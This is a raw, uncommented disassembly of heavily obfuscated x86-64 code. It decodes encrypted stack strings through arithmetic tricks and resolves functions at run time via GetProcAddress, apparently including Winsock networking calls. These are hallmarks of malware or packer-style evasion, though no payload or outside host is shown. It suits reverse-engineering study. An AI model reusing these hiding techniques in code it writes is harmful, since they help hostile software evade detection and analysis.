lea edx, [r9 - 0x6d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 5
add dil, dl
sub r9b, 0x49
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
dec r10b
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 + 0x140], r10b
add rbx, r8
jmp 0x14006dac8
lea ecx, [r11 + 0x55]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x53
add rbx, r8
jmp 0x14006dac8
lea rcx, [r11 + r12]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x5f
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006d005
movabs rcx, 0x6551d70cbe3025d9
add rcx, r11
movzx r10d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x11
lea edx, [r11 - 0xb]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x4d
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x140], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x14]
movzx eax, r10b
and al, dl
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x140], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x140]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d005
lea rcx, [r11 + r13]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x75
movzx eax, byte [rbp + r11 + 0x140]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d005
add r11b, 0x1b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x43
jmp 0x14006d002
sub r11b, 0x23
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0xb
jmp 0x14006cff2
lea rdx, [rbp + 0x1715a14]
jmp 0x14006dbf3
lea rdx, [rbp + 0x11ccd33]
jmp 0x14006dbf3
lea rdx, [rbp + 0x140]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x48], rax
mov byte [rbp - 0x20], 0x6b
mov byte [rbp - 0x1f], 0x91
mov byte [rbp - 0x1e], 0x91
mov byte [rbp - 0x1d], __WSAFDIsSet
mov byte [rbp - 0x1c], 0x85
mov byte [rbp - 0x1b], 0x79
mov byte [rbp - 0x1a], 0x87
mov byte [rbp - 0x19], __WSAFDIsSet
mov byte [rbp - 0x18], 0x80
mov byte [rbp - 0x17], 0x99
mov byte [rbp - 0x16], 0x9f
mov byte [rbp - 0x15], 0x3b
xor eax, eax
mov dword [rbp - 0x14], eax
movabs r12, 0x772e3273c98aed86
movabs r13, 0x658a975b5ca0c892
movzx edi, byte [rbp + 0x3e0]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x10
jae 0x14006e631
movzx r10d, byte [rbp + r11 - 0x20]
mov r9, r10
cmp rbx, r11
ja 0x14006e628
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006dca2
lea rcx, [r11 + r12]
mov rax, rcx
and rax, r10
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r10
add dil, 0x56
jmp 0x14006dcd0
je 0x14006e5b4
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006e527
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006e502
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006e4de
nop
cmp r8, r11
ja 0x14006e61f
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x14006dcfe
lea edx, [r11 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006dd30
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006e49a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006e467
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006e44c
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006e184
nop dword [rax]
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14006e165
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14006e141
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14006e133
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006e114
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14006e0f6
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006e0e8
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14006e0cd
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14006e0b2
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14006e084
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006dd40
lea rbx, [r8 + 2]
lea r8, [rbx + 1]
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14006e5ff
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006e5e2
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14006ded7
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14006deb8
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14006de9d
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14006e038
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14006dfef
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14006dfad
lea rbx, [r8 + 8]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14006df7f
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14006df64
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14006df45
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14006df37
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14006df19
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006def6
lea rbx, [r8 + 0x28]
lea r8, [rbx + 2]
jmp 0x14006dd40
lea ecx, [r11 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4e
jmp 0x14006dd30
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006dcd0
lea edx, [r11 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006dc73
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x14006e40f
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
add rbx, r8
jmp 0x14006e481
lea edx, [r11 - 0x4c]
mov ecx, 0xa
jmp 0x14006e470
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006e54e
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x14006e573
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14006dc63
lea ecx, [r11 - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4a
cmp r8, 0x42
jb 0x14006e3df
movzx r9d, r11b
lea ecx, [r9 + 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x78]
jmp 0x14006e4b4
lea edx, [r11 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0xa
jae 0x14006e3ec
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x14006e2f5
lea ecx, [r11 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x14006dfc3
lea edx, [r11 - 0x32]
movzx eax, dl
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 4
je 0x14006e436
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x14006e22c
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
jmp 0x14006dffe
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14006dc63
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x14006e573
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
jmp 0x14006e54e
lea edx, [r11 - 0x30]
mov ecx, 0x28
jmp 0x14006e470
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
add rbx, r8
jmp 0x14006e481
movzx r9d, r11b
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x14006e40f
lea edx, [r11 - 0x54]
mov ecx, 0x26
jmp 0x14006e50b
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
inc r8
dec r11
inc r11
jmp 0x14006dc63
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
movzx r9d, r11b
jmp 0x14006e4b4
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x14006e1a1
lea edx, [r11 - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, 0x2b
jmp 0x14006e047
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006e1d8
lea edx, [r11 - 4]
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14006dc63
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006e1fc
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x14006e573
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006e052
movzx r9d, r11b
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006e40f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006e258
movzx r9d, r11b
lea edx, [r9 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006e4b4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006e282
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
dec r11
inc r11
jmp 0x14006dc63
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006e2a9
lea ecx, [r11 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
add rbx, r8
jmp 0x14006e481
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006e2cd
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
jmp 0x14006e481
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006e009
lea ecx, [r11 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
jmp 0x14006e573
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006e32c
lea edx, [r11 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14006dc63
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006e350
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14006e54e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006e367
lea edx, [r11 + 0x1c]
mov ecx, 0x1e
jmp 0x14006e470
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006e38e
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
add rbx, r8
jmp 0x14006e481
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006e3b3
movzx r9d, r11b
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
jmp 0x14006e40f
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006dfc3
movzx r9d, r11b
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x14006e4b4
mov byte [rbp + r11 - 0x20], dil
inc r11
jmp 0x14006dc63
movzx r9d, r11b
lea edx, [r9 + 0x70]
movzx eax, dl
and al, r10b
add al, al
movzx edi, byte [rbp + r11 - 0x20]
sub dil, al
sub dil, 0x10
add dil, r10b
add dil, dl
sub r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
add cl, cl
add cl, dil
add cl, r9b
add cl, r10b
mov byte [rbp + r11 - 0x20], cl
add rbx, r8
jmp 0x14006e481
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x64]
jmp 0x14006e54e
lea ecx, [r11 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
jmp 0x14006e54e
lea edx, [r11 + 0x46]
mov ecx, ntohs
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006dc63
movzx r9d, r11b
lea ecx, [r9 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
sub r9b, 0x16
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x66
add r9b, r10b
mov byte [rbp + r11 - 0x20], r9b
inc r8
dec r11
inc r11
jmp 0x14006dc63
lea ecx, [r11 - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4a
inc r8
dec r11
inc r11
jmp 0x14006dc63
lea edx, [r11 - 0x26]
mov ecx, 5
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14006dc63
movabs rdx, 0x4243612a82cc7eaa
add rdx, r11
movzx r10d, r9b
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea ecx, [r11 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0xe
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 - 0x20], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 - 0x20], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14006dc63
lea rcx, [r11 + r13]
movzx eax, cl
and al, r9b
mov edx, 1
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14006dc63
sub r11b, 0x62
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x52
jmp 0x14006dc60
sub r11b, 0x6e
movzx eax, r11b
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x14006dc50
lea rdx, [rbp + 0x15795e8]
jmp 0x14006e635
lea rdx, [rbp + 0xe2836e]
jmp 0x14006e635
lea rdx, [rbp - 0x20]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x40], rax
mov byte [rbp + 0x160], 0x83
mov byte [rbp + 0x161], 0xa9
mov byte [rbp + 0x162], 0xad
mov byte [rbp + 0x163], 0xa4
mov byte [rbp + 0x164], 0x83
mov byte [rbp + 0x165], 0xac
mov byte [rbp + 0x166], 0xa8
mov byte [rbp + 0x167], __WSAFDIsSet
mov byte [rbp + 0x168], 0xb7
mov byte [rbp + 0x169], 0xbe
mov byte [rbp + 0x16a], 0x2a
xor eax, eax
mov dword [rbp + 0x16b], eax
mov word [rbp + 0x16f], ax
movabs r15, 0x9e5bd2fbf62a5408
movabs r12, 0xdb1378f3e27efc18
movzx edi, byte [rbp + 0x3e0]
nop dword [rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x11
jae 0x14006f193
movzx r10d, byte [rbp + r11 + 0x160]
mov r9, r10
nop dword [rax]
cmp rbx, r11
ja 0x14006f18a
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006e71c
lea rcx, [r11 + r15]
mov rax, r10
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r10
add rdi, rcx
sub dil, 0x38
jmp 0x14006e740
je 0x14006f113
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006f0f1
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006f0a3
nop dword [rax]
cmp r8, r11
ja 0x14006f181
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x14006e76e
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006e7a2
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006f086
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006f061
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006f02b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006f012
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006ecee
nop
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006ecce
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14006eca6
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14006ec81
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006ed96
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14006ec73
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006ec57
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14006ec37
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14006ec18
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006ebe7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006e7b0
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14006f161
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006f144
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14006e99f
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14006e980
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14006e961
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14006eb99
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14006eb54
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14006eb10
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14006eae9
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006e7b0
lea rbx, [r8 + 4]
lea r8, [rbx + 4]
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14006eabb
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14006ea9c
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14006ea7c
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14006ea5d
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14006ea48
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14006ea28
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14006ea03
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14006e9de
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14006e9be
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14006e7b0
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x61]
jmp 0x14006e7b0
lea edx, [r11 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x14006e7a2
lea edx, [r11 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006e740
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006e6e6
lea edx, [r11 + 0x40]
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
movzx r9d, r11b
jmp 0x14006f0be
lea ecx, [r11 + 0x30]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x14006e6d3
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x14006e6d3
lea edx, [r11 + 0x10]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x70
movzx r9d, r11b
jmp 0x14006ef4b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
jmp 0x14006f045
lea edx, [r11 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006f048
lea edx, [r11 - 0x20]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x20
movzx r9d, r11b
jmp 0x14006ef9b
lea edx, [r11 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006efcb
lea ecx, [r11 - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x40
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x14006e6d3
lea ecx, [r11 - 0x68]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x28
mov byte [rbp + r11 + 0x160], dil
inc r11
jmp 0x14006e6d3
lea edx, [r11 - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
cmp r8, 0xa
jb 0x14006eb00
movzx r9d, r11b
lea edx, [r9 + 0x30]
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14006f0c1
lea edx, [r11 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x48
add dil, dl
cmp rbx, 0x200
jae 0x14006ef2c
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14006ee83
lea edx, [r11 - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
jmp 0x14006eb1f
lea edx, [r11 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x2a
je 0x14006ef78
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x14006ede8
lea edx, [r11 - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x58
jmp 0x14006eb6b
lea edx, [r11 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x14006e6d3
lea edx, [r11 - 0x20]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x20
add dil, dl
jmp 0x14006efcb
movzx r9d, r11b
lea edx, [r9 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14006ef9b
lea ecx, [r11 - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x40
jmp 0x14006f048
lea edx, [r11 - 0x50]
mov ecx, 0x18
jmp 0x14006f034
lea edx, [r11 - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x14006e6d3
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x14006e6d3
movzx r9d, r11b
lea edx, [r9 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x10
jmp 0x14006f0be
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x14006ed16
lea edx, [r11 + 8]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x38
jmp 0x14006ebb0
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006ed4d
lea ecx, [r11 + 0x50]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x30
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x14006e6d3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006ed76
movzx r9d, r11b
lea edx, [r9 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x10
jmp 0x14006ef9b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006ed8d
lea edx, [r11 - 0x70]
mov ecx, 8
jmp 0x14006f034
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006edb6
movzx r9d, r11b
lea edx, [r9 - 0x60]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x60
jmp 0x14006ef4b
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006ebb3
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x14006e6d3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006ee11
movzx r9d, r11b
lea edx, [r9 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14006f0be
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006ee3f
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x14006e6d3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006ee56
lea edx, [r11 + 0x38]
mov ecx, 0x3c
jmp 0x14006f034
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006eb6e
movzx r9d, r11b
lea edx, [r9 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x68
